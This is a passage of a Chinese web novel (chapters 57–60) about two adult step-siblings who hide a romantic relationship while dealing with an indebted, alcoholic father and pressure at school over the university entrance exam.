陈端绕到孔净身前,反手圈住她的手腕往自己背后拉了下。 孔净两腿打颤,浑身像被人打过一顿似的酸软。 不是逞强的时候,但她还是出声提醒,“八公里。” “很近。” 陈端垂着眼,高挺身影在她面前弯折。 第57章 叫姐姐 冷清的空气像是水波, 从四面八方漫来,孔净感觉被托住。 涣散荡漾的感觉或许是因为伏在陈端背上,因为他的走动而带来的。 远近万家灯火明亮,烟花持续燃放, 这一年的除夕居然是在凌晨的街道徒步中度过。 “别睡, 很快就到了。” 陈端怕孔净睡着会着凉, 偶尔会出声提醒一下。 脑子清醒甚至亢奋。 余韵在周围延续,可他们没说别的什么,谁也没想试着开口聊天。 欲盖弥彰已经不适合, 只是陡然从黑暗的封闭空间换到光亮的公共场所,他们暂且还找不到这段关系的定位。 陈端走的慢, 花了一个多小时才回到居民楼。 “放我下来。” 孔净从他背上滑下来,衣服摩擦制造出的声响不约而同唤起他们的记忆。 陈端忽然牵住孔净的手, 不是以往那样扣住手腕, 而是掌心贴着掌心, 十指交错。 孔净沉默地看了他一眼,一股奇异的感觉在接触面滋生,但她没有试图挣开。 除夕夜,接近凌晨三点, 在楼道里被人撞见的可能性很低。 就这么牵着, 肩擦着肩, 大腿磨着大腿,绕着昏暗的台阶到了六楼。 607室的门却是虚掩着的,一道光线刀切般锐利劈杀至走廊。 孔净愣了下,陈端让她站在原地,他先过去查看。 大概过了十来秒,他探头出来, 笑着问,“现在打电话给派出所,他们会出警吗?” 室内一片狼藉的确像是被强盗入室过,孔净没报警,而是打给了孔大勇。 原本醉酒昏睡的人如今不见踪迹,总不能是因为和强盗搏斗然后奋勇追击去了。 意料之中的,孔大勇没接。 “先看看丢了什么东西。”陈端自己没什么贵重物品。 丢了什么其实在孔净进门的时候就发现了,她放卡的那个铁盒子原本压在书桌角落,上面的书现在已经倒了,铁盒和盖子掉落在地。 “银行卡不见了。” 孔净眼里一片死寂。 陈端面色寒凉,“我去——” “不用。” 孔净开窗散掉屋里的烟酒味,简单收拾了下昏沉躺下。 实在太累,身体无法支撑脑子运转。 陈端侧卧的姿势,从背后将她抱在怀里。 “没事,有我在。”他嗓子沉静,带着少年的无畏和年轻男人的坚毅。 孔净大约迷糊“嗯”了一声,或者什么也没说,薄背弓起抵着他温热的胸膛,意识陷入昏暗的安全地带。 初一到初四,孔净几乎和在学校的作息差不多,吃饭、睡觉、看书,偶尔下楼溜溜。 陈端在网吧待的时间比较多,倘若在屋里他会比以前沉默一点,有时会席地靠在推拉门旁边,像以前一样屈起一条腿,在素描本上描画,更多的时候他则是静静地注视着孔净。 初五,刚吃过午饭,就响起“哐哐”的砸门声。 “格老子的,钱呢?!老子问你钱呢?!”孔大勇捏着从那个铁盒子里取走的银行卡,气急败坏地质问。 “没钱。” 孔净显得很平静。 她想,孔大勇一直等到这个时候才来兴师问罪,大概是因为银行春节放假今天才上班,他不会使用ATM机。 “怎么会没钱?这是你妈妈留下的卡!!” 孔大勇这般理直气壮,压根没有意识到自己趁着孔净和陈端不在搜刮钱财的行为有什么不妥。 “妈留的就是一张空卡。”孔净说。 孔大勇快被债务逼疯了,他猩红着眼睛一把将卡摔在地上,在他将要冲着孔净过来之前,被陈端搡出去。 透过薄薄的门板,孔净听见剧烈的吵嚷声,过了很久才平息。 陈端开门进来时,孔净仍旧坐在桌前,低头认真解题的样子像是一点没受孔大勇影响。 “我提前把钱转走了。那张卡是我故意留下的。” 孔净一边写一边说,声音冷清,语气稀松平常,像在聊天气。 她仰头看向站在桌边的少年,“现在,我不止是伪善,还可以再加一条大义灭亲。” 她性格里有犹豫不决的一面,也可以说是被亲情绑架的部分,所以她其实倾向于把孔大勇拉出泥潭,纵使这样做的后果是她也必须沾上泥污。 但鬼使神差的,在这样做之前她对孔大勇设下了一场考验。 很遗憾,他没有通过。 “所以你知道我为什么会随身带着那两盒套了吗?不是我有多想和你做,而是怕被爸翻出来。” 陈端看见她眼睫在小幅度颤动,眼睑下方落下两片阴影,遮住眼里泛起的薄雾。 他抬手轻抚她脸颊,细腻滑润的触感。 “再不想,不也做了?” 陈端俯下身,轻轻衔住孔净的唇。 一个温柔的吻,像是小动物互相舔舐伤口,不带任何情|色意味的。 初六,阿禾来玩,不仅带来大包小包的自家手作美食,还把男友小章鱼带来了。 热恋期的情侣打情骂俏,站着坐着都要黏一起,小小的屋子因为他们的到来充满了粉色泡泡。 中午吃火锅,孔净和阿禾在阳台上熬锅底,麻辣牛油和番茄菌汤各一份。 阿禾迫不及待丢几块酥肉进去,没几秒立马捞起来,一边说着好烫一边往嘴里送。 “小馋猪!” 小章鱼坐在室内择菜,注意力却一直停留在女友身上。 “吼!我允许你说馋猫,不允许说馋猪!找死是不是啊?!”阿禾进屋作势要骑坐在男友肩上。 孔净转过头,本意是看他们打闹,却一眼看见旁边的少年。 陈端也在看孔净,视线短暂交接几秒,什么都没说,又好像说了很多。 饭后,小章鱼让陈端带他去网吧玩几把,阿禾吃得肚皮胀胀,大喇喇往单人床上一躺。 听见床板因阿禾的重量发出吱吖声,孔净微微怔了一下。 阿禾和小章鱼没留下吃晚饭,七点不到就溜了。 走之前,阿禾嘱咐孔净,要是她家里人打电话问她在哪里,一定不要穿帮。 “我跟你说,小章鱼太坏了,好早就把房间订好了,虽然我也很想他……”阿禾伏在孔净耳边,说到这里自己先脸热了,“哎呀你不懂啦,等你交了男朋友就知道了!” 中午剩下的食材还很多,孔净和陈端围在矮桌边继续吃火锅。 陈端不吃辣,鸳鸯锅里的番茄菌汤和麻辣牛油分别朝向他们,看似泾渭分明,被热力催生的雾气袅袅升起,在半空中纠缠融合。 两人都被熏得一身火锅味,务必洗澡才能清爽。 热水器储水容量不够,天气热的时候还好,水温不需要那么热,够两个人洗。现在就不行了,一个人洗完另一个人非得等上二三十分钟水才重新烧热。 陈端坐在椅子上摆弄手机,是想等孔净洗完之后用凉水冲冲就了事。 孔净背对着站在床尾的收纳箱前拿换洗的衣服,顺便也把他的拿出来。 走向浴室途中脚步顿了顿,孔净回头问他,“不洗吗?” 陈端一愣,柠檬黄的光线晕染开,他撞上孔净清白视线,怀疑自己幻听。 “是我想的那种洗法吗?” 孔净老是不按牌理出牌,陈端还没接触到热水,身体已经热了。 孔净没答这句,抱着两套睡衣进了浴室。 距离除夕夜那次,已经快过去一周。 这期间他们晚上抱着睡觉,却只接过一次吻。 初尝之后,陈端时常有反应,或许是为了证明他并非孔净所说的动物性,他连浴室都不去,硬生生等待自行消解。 屋子就这么大,就像Lily说的转个身都能碰到头,孔净不可能不知道。 但她不置一词,不予理会。 态度冷清到让陈端感觉他单纯生理性的反应都有罪。 热水淋洒,逼仄的空间很快盈满雾气。 对面楼的灯火隐约从墙上的窄窗漏进来,但因为没开灯,所以视物不明,只能靠触觉、听觉和嗅觉来探索。 墙壁上的瓷砖反而是凉的,孔净手掌贴上去的时候被激得微微抖了一下。 陈端以为她的反应是由其他造成的,尽管难耐,他还是克制地提醒,“孔净,没必要开场就玩这么大。” “你不想吗?” 孔净把湿发捋到一边,回头说话的时候,顶上的热水从张开的唇瓣流进去。 “孔净……” “叫姐姐。” 陈端太阳穴一跳,“姐姐……” 孔净蜷起十指撑住墙面。 “你是在惩罚我吗?” 这样的场景陈端此前连幻想都不曾。 “我记、得你之前……说这是、奖励。” “可是——” 没可是,孔净偏转着脸在黑暗中准确咬住他的唇。 时间有点久,热水慢慢变成温水,在彻底成为凉水之前,陈端盲摸关了花洒。 放在置物架上的衣物都被濡得半湿了,他张开一条浴巾。 “我自己来。” 孔净没让他帮,简单擦了擦,穿上衣服就先出去了。 陈端出来时,听见“嗡嗡”声,孔净在吹头发。 以前,在他们还维持清清白白的姐弟关系时,陈端经常帮孔净吹头发。 因为孔净的头发又长又密,她嫌麻烦就会偷懒,吹风机没运转两三分钟就关了,但是水汽闷在发丝里隔天起床又会头疼。听她念叨两次之后,再遇见她不好好吹头发的情形,陈端就会代劳。 孔净坐在桌前看书,他站在椅子后面很有耐心地一点一点帮她全部吹干。 奇怪的是,突破界限成为世界上最亲密的人之后,陈端好像反而失去立场为孔净做这类日常小事。 “我们聊聊。” 陈端被这种诡异的氛围弄烦,尽管半个小时前他才在那个淋满热水的空间获得无上快乐。 吹风机没关,孔净回头看他一眼,“什么?” “你……” 孔净的脸粉白似水蜜桃,眼神清清静静还蒙着一层从浴室带出来的薄雾。 陈端一时语塞,他走过来直接从孔净手中拿走吹风,另一手撩起她的发丝。 孔净没异议,在桌子前坐正,翻开看到一半的复习资料。 角色转变之快,令人咋舌。 就是惩罚。 两次,孔净都规训陈端叫姐姐,不叫就中断。 虽然这个称呼的确会增加刺激感,但陈端自认为他没有猎奇到非叫不可。 但他先前为了进攻,在还是姐弟的基础上,几次故意在公众场合对孔净做出牵手、说骚话这类出格行为,使得他现在就算长了十张嘴也说不清楚。 况且,他们的关系本来就理不清。 陈端不能准确说出他到底是什么时候对孔净有了越界的想法,他又是个极端的人,喜欢和性一定是连在一起的,不存在中间的递进环节,姐弟的关系无法剥离开,所以这似乎变相证明了他就是个喜欢姐姐想和姐姐做的变态。 很好,绕一圈,最后居然论证出自己是个变态。 陈端最近在心里冒出的脏字比以往所有时候加起来的都多。 第58章 暴烈 初七一过, 年味就淡了。 网吧的生意却好到天天满座,其中一个网管小哥回老家过年还没回来,Lily又因为突发痛经躺在休息室的小床上起不来,她临时摇人把孔净从出租屋叫去帮忙。 就只是坐在前台给客人登记结算, 没什么难的。 一只覆满纹身的手伸过来在桌面上轻佻地叩了叩, “姐姐, 好久不见啊!多说两句好话能不能给个红包啊?不行的话,把上网费免了也可以。” 孔净好久不见李哲,久到都快把这个人忘了。 “身份证拿来。”她公事公办, 一句多余的话没说。 视线一转,看到李哲身后那个穿粉色套装裙的艳丽面孔, 却不由得呆了一下。 戴望雅静静看着孔净,眼里的敌意和蔑视不再隐藏。 李哲拿回身份证, 抬手去揽她的腰, 被她瞪了一眼。 “在外面给我一点面子嘛。”李哲咬着烟笑笑, 两人随即前往开好的卡座区。 过了会,Lily吃了止痛药感觉活过来了,便来换孔净去吃饭。 米线店因为挨着网吧,食客亦络绎不绝。 陈端也没吃午饭, 孔净发短信问要不要帮他带一份。 手机倒扣在桌面上, 她取来辣椒罐往碗里添料, 一阵香风扑鼻,女生挡住阳光站在桌边俯视她,“过了这么久你还是在吃猪食。” 并没有刻意压着声音,米线店又小,周围几桌听到都第一时间投来目光。 戴望雅抬起下巴,神情高傲, 反而还用睥睨的眼神回视过去,把现实版公主的形象演绎到极致。 在前台坐一上午没活动,孔净喝一口辣汤感觉淤堵的四肢慢慢开始活泛了,她用筷子挑着米线送到嘴边。 戴望雅讨厌被无视,嫌米线店的桌椅泛着油腻,但孔净坐着她站着,越是剑拔弩张越是落了下风,好像她是无理取闹的坏学生,而孔净是班主任一类的人物。 孔净察觉出她的挣扎,很好心地应一句,“也好过吃腐食。” 怕戴望雅听不懂,她轻声解释,“是腐败的食物的意思,比喻句。” 至于比喻什么,不必言明。 戴望雅脸上青一阵白一阵,“李哲这种垃圾还不配和我交往。” “哦。” 孔净的态度实在过于温吞,戴望雅事先准备的狠话根本无处施展。 嗡鸣声传来,戴望雅看向孔净放在桌上的手机,过去的事情针扎一样在脑海中浮现,粉色短靴踢向桌脚,“你装什么啊,陈端是明坏,你就是阴狠。整天戴着好学生的面具不累吗?你们根本不是姐弟对吧。” 孔净细细咀嚼着米线,鼻尖渗出一点细汗。 她以为戴望雅真的知晓了什么,却发现她说的是表层意义上的没有血缘关系。 但是天下没有不透风的墙,如果戴望雅真的紧盯他们不放,秘密被揭开似乎只是早晚的事。 其实又何止是戴望雅,孔净环顾米线店,扫过每一双认识的和不认识的眼睛,昨晚和除夕夜那晚发生的事同时在意识中呈现,她脊背僵直,像是被这些眼睛鞭笞过一样。 “发什么呆?” 一道温冷嗓音响起,孔净抬眼,戴望雅已经走了,陈端拉开椅子在她身侧坐下。 孔净看了眼手机,陈端在十分钟前回了信息,应该是见孔净没有下文所以过来店里找人。 “我刚看见李哲了。” “嗯。” 陈端态度平平,修长指尖有一搭没一搭在孔净的手机壳上轻点着。 孔净没问他是不是还和李哲有来往,诸如此类的话在过去已经说过太多次,有点烦了。 “没人有义务对另一个人的人生负责,就算我们是……” 姐弟两个字已经无法在公众场合轻松宣之于口,孔净顿了一下。 陈端指尖前移,轻点在孔净手背上,“是什么?” “什么也不是。” 孔净拿起手机扫码付款,陈端落在她手背上的温热触感由此消退。 “世界上那么多关系都是人定义的,我们就一定要往笼子里面钻吗?” 陈端蹙眉。 孔净没答,把陈端叫的米线也一起付了。 经过网吧门口,李哲和那个黄毛靠着墙根抽烟,仍旧一口一个姐姐叫得亲热。 戴望雅倒是不见了。 从寒假开始,苏苏就约了孔净好几次。 高三比高二高一要提前开学,返学那天,孔净先去宿舍收拾了下,然后中午出校门和苏苏汇合。 知道苏苏必定不会一个人来,她从轿车后座探出脑袋,“姐姐!你又变漂亮了!” 孟书宇很绅士地帮她打开副驾车门,还抬手在她脑袋上方虚挡了一下。 这一幕过于偶像剧,孔净下午回教室就被齐淼盘问。 “只是普通朋友。”孔净这样说。 “噢噢,普通朋友哦~有进步嘛!已经不是普通学长和学妹啦~~~”齐淼笑得暧昧,她说,“学校抓早恋是很严格,但是好学生一直都有特权,如果你真的和孟学长交往,然后像他一样考那么好,就算是教导主任也会乐见其成!安啦安啦,只是普~通~朋~友!” 八卦传得很快,不少人直接默认孔净和孟书宇是情侣。 林语珂似乎也信了,她看孔净的眼神带着一点迷茫,有点怀疑此前对她和陈端关系的判断。 陈端身处清安高中,当然知晓这则“学霸情侣”的传言。 周中在学校碰到,他眉眼低压,目光牢牢盯住孔净。 孔净抱着一摞书没做只言片语的解释,周末回到出租屋,床板几乎散架。 陈端恶劣地侵占,孔净自有韧性将他压制。 屋里的空气沉糜,充斥着昳丽因子,稍微一点火星就能点燃。 两人都喘着气,最亲密的距离饱含敌对的意味。 陈端想完全占有孔净,却发现她像一尾狡猾的鱼,握不住,也圈不住。 他甚至不知道她到底在想些什么。 “孔净,你不要我了吗?” 他声音沙哑,动作由猛烈急转为温柔。 “没有……” 孔净伸长手臂把他按进怀里,低低地亲吻他。 “乖一点好不好?” “怎么乖?” 仅仅安分了一小段时间,他骨子里的暴烈再次显现。 他不要似是而非,不要不确定,甚至不留空间和时间给孔净去理清他们的关系。 陈端试过在这种事情上泄愤般地喊她姐姐,破罐子破摔,但孔净的波动只流于身体表面。 人前,她还是清清静静不冷不热的模样。 于是陈端拒绝再提起这个称呼,他变得更加逆反,逃课又成了家常便饭,甚至一周有多半的时间不回宿舍。 他想以这样的方式再度换来孔净的注意和退让,就像以前一样。 但孔净没有上钩,她告诉陈端,“你当下做的每一个行为都决定了未来的模样,陈端,你的未来是你自己的,你不能用毁掉它来要挟我。” “好学生的语录随便拽一句出来都可以写进作文。”陈端嗤笑,“既然不能要挟你,又何必和我说这些。” 他买了一辆机车,黑衣黑裤,故意把油门轰到使人耳聋的程度,一个漂移转弯,冷峻身影消失在深夜的霓虹街道。 陈端越发放肆,加上那副恣意俊美的皮囊,一举一动都是清安高中的每日头条。 女生们对他趋之若鹜,老师却对他头疼不已。 转眼到了春天,高考倒计时只剩下不到百天,陈端由于旷课次数过多,在新一周的升旗仪式上被教导主任点名通报。 但由于他并不在学校,所以就算处分也找不到人。 “你不要受影响就好,按照现在的节奏继续保持下去,老师相信你会比上一届的孟书宇考得更好。”班主任私下找孔净谈话,因为上学期孔大勇来学校闹事,他不免问一句家里的情况。 “都挺好的,谢谢老师关心。” 孔净的笑容没有任何破绽。 但这句“挺好的”两天后就被戳穿。 这学期孔净上课都把手机放宿舍里,所以医院打不通她的电话,只能在网上找了清安高中的座机号码,然后一个传一个,传到班主任那儿。 物理随堂测验,孔净在被老师叫出教室的那一刻就慌了。 “是陈端……?” “不是陈端,你爸爸受了点伤,你别着急,情况已经稳定了,老师现在就送你过去。” 孔大勇在确定李贤梅没给孔净留钱之后就彻底不管她和陈端了。 用他的话说,“老子现在自身难保,你们长这么大都成年了,老子没让你们回报我就不错了。” 他在陈端帮他租下的地方过完春节之后,怕被债主找到,一声不吭就跑去其他省“找机会东山再起”。 孔净年前被催收恐吓,提心吊胆在学校正常上课,偶尔给孔大勇打电话他都没接。姑姑孔小琼有次过来看孔净,哭着表示真的就当没这个哥了。 没人知道孔大勇是什么时候又流窜回闽城,或者说他根本就没离开过,出去找机会东山再起不过是故意迷惑债主和心安理得逃避现实的鬼话。 他和春节那会儿差不多,黑,瘦,眼神闪躲又狂热。 躺在病床上一条腿被固定住了还不安分,护士进来换药,他笑嘻嘻地问人家,“有烟没?帮我找人要一根,我给你钱。” 瞥见推门进来的孔净,他表情瞬间阴沉,“老子遭了这么大的罪,找你比找当官的还难!陈端呢?” “你怎么弄的?” 孔净向医生了解,孔大勇是酒后骑车摔了,但他不承认,非说是鬼打墙走背运,总之和酒和他本人一点关系都没有,都是因为时运不济。 医院喊孔净来,一方面是通知家属,另一方面是让她来交钱。 孔大勇一条腿骨折,脑震荡,身上多处擦伤,医药费小几万,不是天文数字,但这样一来,孔净手里有钱的事就被抬到了明面上。 “我自己攒的,还有陈端攒的,这次都花完了。” 孔净还是咬死李贤梅没留钱。 孔大勇眼神凶狠兼带着怀疑。 “孔叔,你吓她不如吓我,我有钱。” 陈端忽然推门进来,手里抱着机车头盔,全黑装扮配上冷戾面孔,气场十分肃杀。 他在邻市某间高端网吧参加网游比赛,结束之后才看到医院打来的未接来电,所以比孔净迟来了几小时。 孔大勇本来就忌惮成年后的陈端,现在他又断了一条腿,只能是敢怒不敢言。 第59章 你是甜的 孔大勇主要伤在腿, 吃喝拉撒都在床上,孔净服侍不方便,只能交给陈端来做。 班主任也在电话里急切表示,“既然没什么大事就快点回学校上课, 现在时间这么紧迫, 一分钟都浪费不起。” “有我在。” 陈端下巴微微一抬, 一力将责任揽在身上,坚毅模样不带戏谑成分。 孔净知道人都是多面的,因此当陈端骑机车送她去客运站, 把她抵在角落强硬索吻,一点也不感到惊讶。 他就是这样, 得寸进尺,给点阳光就开染坊。 完全在孔净面前袒露骨子里的暴烈之后, 只要做了一点好事就要在情事上讨回来。 或许她应该庆幸, 是在客运站而不是其他任何一个没有外人的封闭空间。 车站里人来人往, 就算是角落,一个穿着高中校服的女孩被高大英俊的少年拥着亲吻,激荡画面怎么都会引起关注。 “想我没?” 陈端却不管不顾,嘴唇含着孔净的, 嗓音沙哑粘稠。 孔净发觉他好像又长高了, 她踮起脚尖的同时还被迫仰起脖子。 距离两人上次见面已经过去一周多, 说不想是假的,不然也不会被老师叫出教室时第一时间想到出事的人可能是他。 但想归想,气也是真的气。 伴随着着一声闷哼,陈端舌尖一麻,尝到淡淡的铁锈味。 孔净双手抵在他身前用力一推,尽管脸色绯红, 荡漾着雾气的眼眸却带着锐气,“你说呢?” 被咬的人是陈端,他却抬手用大拇指腹擦过孔净的唇角,微微扬眉,“那就是想了,很想。” 头发有些乱了,孔净松了皮筋重新打理。 “我来。”陈端低头看她,两手从她耳侧绕到脑后,十指穿插进她的长发。 春光从旁边的窗户斜照,笼在他们身上,风温温热,带着各种花草的气息,清新又热闹。 孔净瞧见他脸上一闪而过的酒窝,胸口忽然软得像春泥,被一只无形的手轻轻摁了一下。 “什么事能不能都等考完再说?” 说出这句其实就是变相的退让。 陈端微微一怔,唇角弯起,几分鲜衣怒马的得意。 “你说了算。” 孔净忍住翻白眼的冲动,如果真的什么都她说了算,他们又何至于闹到这种地步。 “过几天等爸情况稳定了就给他办出院。后边你回学校吧,最后就剩几十天……” 孔净说到这里又不免气闷,陈端做事完全不顾后果,长时间的逃课造成学业完全荒废,就算最后几十天悬梁刺股,考出来的分数也不够看。 陈端一点无所谓的样子,“你去哪儿我去哪儿。考不上就考不上,你上大学我陪读,一样的。” 孔净一愣,“陪读?不上大学你准备做什么?” 跟李哲一起卖粉吸毒吗?! “不说了陪读吗。”陈端笑得轻松,绝大多数人认为将决定自己命运的高考,在他眼里什么也不是。 他是完全不受驯的。 “你为什么一点不把自己的人生当回事?” 孔净才发现他们之间巨大的分歧原来起源于此,她百倍努力追求的东西,他可要可不要,甚至主动放弃。 陈端曾说孔净有自厌倾向,孔净觉得他是更加负面的自弃! “考出一个漂亮的分数、上好大学就是把人生当回事了?”陈端眉眼一沉,帮孔净把头发扎好,两手顺势放在她肩膀上,“还是说,在你眼里每个人都要像孟书宇那样才叫优秀?” 孔净皱眉,“你又提他干什么?我们现在说的哪一句话和他有关系?” “没关系你为什么明知他喜欢你,还故意和他出去吊着他?”陈端没亲眼见到孟书宇开车来校门口接孔净,但是学校里的人说的多了,就算没见过,那场景也莫名在脑海中自动描画,并且日益深刻。 他淡笑,不无愠怒地,“忘了,你也是这样吊的我。” “我吊你?原来你是这样认为的。” 孔净眼里有深深的失望和无力。 她蓦地转身,手腕一沉,陈端在后面拉住她。 “放手!” 孔净用力挣了一下,陈端没放。 他吸了一口气,后悔刚才被情绪拉扯着失言了,尽量平和地开口,“好了,我们别吵了,都听你的行吗?先考完,考完再说。” 他再浑也是浑自己的,他不想在这种时候影响孔净。 “好了?都听我的?”孔净觉得可笑,“说得好像你做出多大的妥协,好像都是我在无理取闹。陈端,我再说一遍,你的人生只有你自己可以做主,我没有权利和立场逼你。既然你觉得考不考都无所谓,都随你!不需要做出一副因为我假装做个样子被迫上考场!” 陈端看出孔净是真的动气了,指节收紧圈住她手腕不让她走。 孔净烦透因为体力和体型差距带来的约束感,她抬脚踢了他两下。 小腿和膝盖传来尖锐的痛感,陈端耐受力比一般人都高,但令他恼怒的是孔净居然一点没收力,是真的把他当成敌对方。 “一听说即将有个只有高中文凭的无业游民弟弟就气成这样,以后再跟这种人上床岂不是折抵你身价!孔净,你还没发达呢!你干脆说我不配好了!”狠话脱口而出。 孔净不甘示弱:“没错,你就是不配!你满意了吗?” 陈端嗤笑,“谁配?孟书宇?” 一个“对”字即将脱口而出,然而孔净终究尚有理智。 “随便你怎么想。” 有路人向客运站安保反应他们这边情况不对,孔净在工作人员过来之前又挣了一下,“放开,我不想被人当成笑话看。再晚我就赶不上车了。” 她以为陈端会继续犯浑,但没有。 手腕被钳制的感觉忽地一松,她听见身侧的人发出一声轻笑,极具嘲讽意味的。 孔净没回头,直接走进检票口。 到了车上,撩起校服衣袖,手腕上的痕迹很淡,他看着强势,其实一直都收着力。 孔净闭上眼睛,脑子随车身越晃越乱。 孔大勇在市医院住了一周多的院,陈端也就服侍了一周多。 中途他给孔净打电话,“你给我请个护工,把陈端弄走!” 他要求还很具体,要女的,三四十岁左右,体格壮点能搬得动他,还要性格温柔,会聊天会疼人。 “……” 要不是刚发布的月考成绩不理想,孔净真的要笑出来。 “陈端不温柔,不跟你聊天不、疼你?”孔净木着脸问。 “他温个锤子柔!老子养他这么多年都白养了!趁老子躺床上恨不得把老子——” 话说到一半戛然而止,孔净听见那边传来开门声以及少年清朗嗓音,“孔叔,跟谁告我状呢?” 带着点笑意,有恃无恐和绝对的主导权。 “……狗屁,老子还用得着告状……?” 孔大勇声音弱弱的,把电话挂了。 班主任了解孔净的家庭情况,在没和孔净商量的情况下在学校组织了一波募捐。 事情发生得很突然,就在大课间全校在操场集合时,班主任在升旗台上声情并茂地讲述孔净入学以来的优异以及如何不容易云云。 很多学生被感染,踊跃去到募捐箱前扫码的扫码,投现金的投现金。 “真羡慕你,家里出了事还有学校帮你兜底。这样一来你就不用担心钱的事了,你现在是清安高中所有师生的希望,一定要要考出最好的成绩才行啊。”林语珂也捐了一百,她还在午休时间带了一杯奶茶放在孔净桌上。 “谢谢,你自己喝吧。”孔净说。 “没必要再在这种小事上体现骨气吧。”林语珂拨了下刘海,见孔净执意不要,又把奶茶拿走了。 班主任把孔净叫去办公室,当着其他老师的面向她宣布这次募集的款项总额,并且点出7班和陈端所在的18班捐的最多。 “谢谢您和所有老师同学的好意,我暂时不用。”孔净垂下眼眸,不是为了骨气,是她觉得没到这种地步。 班主任却以为她脸皮薄,语重心长地劝道:“大家都是报着日行一善的念头,你不要有心理压力。你的优秀都是有目共睹的,大家是自愿帮助你,老师不过是稍微提倡了一下。” 他把厚厚的牛皮纸信封塞到孔净手里,拍拍她的肩膀,“不要觉得受之有愧,只要你考好了就是对大家最好的回报。” 这种全校性的募捐有利于树立清安高中良好的社会形象,也有利于新学年的招生,很快,学校官网就贴出了报道,孔净的入学证件照和成绩单被登在最醒目的位置。 孟书宇在上海也看到了这则报道,他在微信上向孔净发起一笔转账,孔净回了个“谢谢学长”,就叉掉了对话框。 他不知道从哪儿打听到孔大勇在市三院住院,托人把孔净没收的这笔钱直接垫付了医药费。 孔净周六请假去医院才从护士那儿得知。 转过身,陈端从病房出来,单手抛着一颗苹果从身侧经过,像是没看见孔净这个人。 孔净抿了下唇,拿出手机点了点,过了会也走去水房。 “我不知道学长垫付医药费,钱已经拜托苏苏还给他了。” 人人都有傲骨,陈端的更甚,尽管他们还在冷战,但孔净觉得还是应该把话说清楚,她不愿意拿这种事赌气而伤了陈端的自尊心。 苹果洗了没吃,被冷白手掌握住,晶莹水珠溢出指缝落到泛黄的白瓷砖上。 陈端倚在窗边,目光朝外,对着孔净的这边脸陷在阴影里,骨相深邃冷峻,因为长时间的陪床,眉眼间淡淡的倦意。 “如果真的有时光机,你猜我想回到过去哪一天?” 他淡淡开口。 这是除夕那天陈端曾问过孔净的话,现在他把这个“如果”假设在自己身上。 “我不知道。” 孔净莫名感到一阵心慌,人们提到如果,其实就是在潜意识里推翻过去。 她自认不是洒脱到落子无悔的人,年幼时也曾幻想如果,如果爸爸真的是“老大”,如果妈妈每天能多对她笑一点……但很快她就打住,因为幻想是对现实的背叛。 她要做个勇敢的人,人生来无法选择拥有怎样的父母,但可以选择成为怎样的人。 陈端转过脸,整个人完全是背光的。 “我想想……如果,8岁那年……”他微微眯起眼,仿佛陷入了遥远的回忆。 孔净蓦地呼吸一滞,陈端8岁被孔大勇带回石材厂。 “你——” “你以为我会想回到被孔叔带走的那天吗?”孔净的表情把他强力扯回当下,他忽然笑了,“怎么会。如果时光可以倒流,我可是会迫不及待地来到你身边呢,姐姐。” 姐姐。 “铛”的一声,金石断裂又愈合,从陈端8岁孔净9岁到如今陈端18孔净19,十年漫长岁月如剥离的碎片在时光隧道中纷扬,继而以光速嵌入他们的皮肤和骨血,组成他们共同的记忆。 早就不可分割了。 剥皮抽筋的痛谁也承受不起。 “这么苦……你还是愿意?” 孔净声音涩然,被丢进福利院都好过被孔大勇带回来,她自己是没办法选择,陈端却可以在这点上大胆假设如果。 “苦吗?我不觉得。”陈端指腹磨过掌中的苹果,将要咬下去,“因为……你是甜的。” 第60章 想和你私奔 孔大勇出院之后住在出租屋里, 孔净把自己的东西全部搬去宿舍,陈端还是经常逃课,行踪不定。 但无论陈端去哪儿,当天都会回出租屋一趟, 一来是照看孔大勇, 二来是敲打他。 断腿是绝佳的借口, 孔大勇不需要再做样子“东山再起”,并且在心理和行为上非常心安理得地压榨孔净。 他知道学校捐款的事,变着法地想从孔净这儿掏钱用。 手段不外乎责骂、撒泼、摔东西甚至眼泪花花诉说老父亲的心酸。 孔净听多看多也就麻木了, 但还是影响心情。 有陈端在就不一样了,他冲孔大勇笑笑, “孔叔,发什么脾气, 有什么事跟我说啊。” 伸出一条长腿把被孔大勇踹倒的椅子勾起来, 大喇喇一坐, 两边手肘杵在膝盖上,就这么盯着孔大勇看。 孔大勇躺在床上咽了下口水,“狗日的……” 总之,在陈端面前, 他再想作妖也基本是池塘里的泥鳅, 掀不起大风浪。 转眼到了四月, 闽城是典型的亚热带季风气候,书上说“人间四月芳菲尽”,街巷边的花开了一茬又一茬,开败之后自有柳木成荫来接洽。 气温上升,暮春和初夏交接之际,毛衣和长袖衫早早被换成短T短裤, 热风送来浪声涛涛。 孔净虽然完全是寄宿生模式,周中还是会抽时间回来一次。 孔大勇杵着拐在楼下和小卖店的阿公吵嚷,大意是他买烟要赊账,阿公不让。但是烟拿到手已经被他拆了抽了一根,阿公抓着他不让走,非让他把钱结了不可。 两人在拉扯之际,孔大勇一眼瞥见把车骑进巷子的孔净,他推阿公,“找她!她有钱!” 下午放学到晚自习开始中间间隔的时间短,孔净骑得快,喘着气停在小卖店门口,扫码的时候,孔大勇又伸手在货柜上拿了一瓶白酒。 酒钱孔净没付,她只付了烟钱。 因为医生说了,孔大勇肝肾肠都有毛病,要是不戒酒,生大病是迟早的事。 “格老子的,一个个翅膀都硬了,都敢在老子头上拉屎了!” 孔大勇骂骂咧咧,眼睁睁看着攥在手上的酒瓶被阿公抽走。 孔净在楼下没看见那辆熟悉的黑色机车,“陈端呢?” 二十分钟前发信息,他说很快就回来。 “你问老子,老子问哪个?” 孔大勇反正不会好好说话,一根烟燃到快烧到手了才扔地上,拐杖泄愤似的一步一“咚”地响。 孔净把烟蒂踩灭,捡起来扔进垃圾桶。 想扶孔大勇上楼,被他蛮横拒绝了。 孔净怕他张牙舞爪的又从楼梯上摔了,于是跟在他后面索性拿出手机给陈端发信息。 【我到了。】 这段时间他们没再吵,也算不上和好,只能说是各自克制着相安无事。 孔净不再管陈端上不上课、不上课都在干什么都和谁来往,陈端也不再拿孟书宇说事,也不再逼着她要一个答案。 但是偶尔的见面,他们会接吻会拥抱。 有次晚自习下课,陈端来给孔净送东西。 机车驶过无人的霓虹街道,阻停在学校后门,陈端摘下头盔甩了甩乱发,并不把东西递过来,而是先问一句:“想我没?” 虫鸣唧唧,星光漫天,却不及他两颗酒窝盛装的浪漫。 孔净站在生了锈的铁门内没说话。 围墙不高,因为以前经常和阿禾一起在森林里疯跑,她借助旁边一棵芒果树轻盈翻上墙头。 “相信我吗?”陈端站在墙下朝她张开双臂。 孔净想到初中毕业那边她和陈端深夜造访石坑,跌落的失重感和随即被托住的安全感,也似那晚重现。 